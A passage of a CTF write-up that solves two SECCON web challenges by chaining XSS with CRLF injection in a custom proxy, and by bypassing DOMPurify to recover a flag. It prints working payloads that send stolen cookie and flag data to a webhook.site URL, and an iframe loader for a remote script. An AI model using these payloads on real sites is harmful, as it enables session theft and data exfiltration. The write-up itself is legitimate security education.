There is an obvious XSS here, but the flag is stored in an http-only cookie, so it cannot be directly obtained. However, the most interesting part of this problem is that it has a custom http proxy:

def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"
    print(payload.encode())

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body

Testing it, we can use req.path_info containing %0D%0A characters to perform CRLF Injection. So, we just need to find a way to make the backend echo the Cookie part back.

After some testing, we found that the backend will echo the incorrect method name when it encounters an invalid http method. So, by controlling Content-Length and Connection: keep-alive, we can make the flag be echoed back as the method name.

The script to execute the XSS is as follows:

;(async () => {
	document.cookie = 'long=l000000000000000000000000000000g'
	for (let i = 300; i < 500; i += 1) {
		fetch(
			'/' +
				encodeURIComponent(
					' HTTP/1.0\r\nConnection: keep-alive\r\n\r\nPOST /x HTTP/1.0\r\nConnection: keep-alive\r\nContent-Length: ' +
						i +
						'\r\n\r\n'
				),
			{ headers: { 'X-A': 'ASD' } }
		)
			.then(r => r.text())
			.then(res => {
				if (res.includes('SECCON'))
					return fetch('https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f?result=' + i, {
						body: res,
						method: 'POST'
					})
			})
	}
})()

Put it in the response of webhook.site and execute it using iframe + script:

<iframe srcdoc="<script src='https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f'></script>"></iframe>

SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}

piyosay#

Another client-side problem, the key code is as follows:

<script>
	trustedTypes.createPolicy('default', {
		createHTML: unsafe => {
			return DOMPurify.sanitize(unsafe).replace(/SECCON{.+}/g, () => {
				// Delete a secret in RegExp
				''.match(/^$/)
				return 'SECCON{REDACTED}'
			})
		}
	})
</script>
<script>
	const get = path => {
		return path.split('/').reduce((obj, key) => obj[key], document.all)
	}

	const init = async () => {
		const emojis = await (await fetch('/api/emojis')).json()
		const fragment = document.createDocumentFragment()
		for (const emoji of emojis) {
			const elm = document.createElement('p')
			elm.innerHTML = emoji
			fragment.appendChild(elm)
		}
		get('emojis').appendChild(fragment)

		get('piyo').innerHTML = '🐥/🐣/🐤'.split('/')[(Math.random() * 3) | 0]
	}

	const main = async () => {
		const params = new URLSearchParams(location.search)

		const message = `${params.get('message')}${document.cookie.split('FLAG=')[1] ?? 'SECCON{dummy}'}`
		// Delete a secret in document.cookie
		document.cookie = 'FLAG=; expires=Thu, 01 Jan 1970 00:00:00 GMT'
		get('message').innerHTML = message

		const emoji = get(params.get('emoji'))
		get('message').innerHTML = get('message').innerHTML.replace(/{{emoji}}/g, emoji)
	}

	document.addEventListener('DOMContentLoaded', async () => {
		await init()
		await main()
	})
</script>

Although it looks like get('message').innerHTML = message can directly cause XSS, due to the use of trusted types, we still need to bypass DOMPurify.

The bypass is simple because it replaces SECCON{.*} after sanitizing. So,

SECCON{<p data-x="}<img src onerror='alert(1)'>">

can bypass the protection and get XSS.

However, the difficulty of this problem is not here, because the flag originally in document.cookie has been cleared, and RegExp.input and RegExp.$_ have been blocked by the author using ''.match(/^$/), so we need to find if there is any place where the flag remains.

Thinking carefully, we realize that the flag will pass through the replace function and DOMPurify.sanitize. So, it should not leave any residue, right...? Actually, the key is here, because DOMPurify has a DOMPurify.removed array that records all removed elements. So, by appending <script> to the message, the <script> containing the flag will be placed in it, and accessing DOMPurify.removed[0].element.textContent will retrieve the flag.

However, note that the second innerHTML assignment will also clear DOMPurify.removed, so we need to make the const emoji = ... line error to prevent the subsequent execution.

SECCON{<p data-x="}<img src onerror='flag=DOMPurify.removed[0].element.textContent;(new Image).src=\`https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f?flag=\`+flag'>">
<script>

http://web:3000/result?emoji=asd%2Fb&message=%0ASECCON%7B%3Cp+data-x%3D%22%7D%3Cimg+src+onerror%3D%27flag%3DDOMPurify.removed%5B0%5D.element.textContent%3B%28new+Image%29.src%3D%60https%3A%2F%2Fwebhook.site%2F78142dca-2eba-4d75-8b99-107dbe2a598f%3Fflag%3D%60%2Bflag%27%3E%22%3E%0A%3Cscript%3E%0A

SECCON{w0w_yoU_div3d_deeeeeep_iNto_DOMPurify}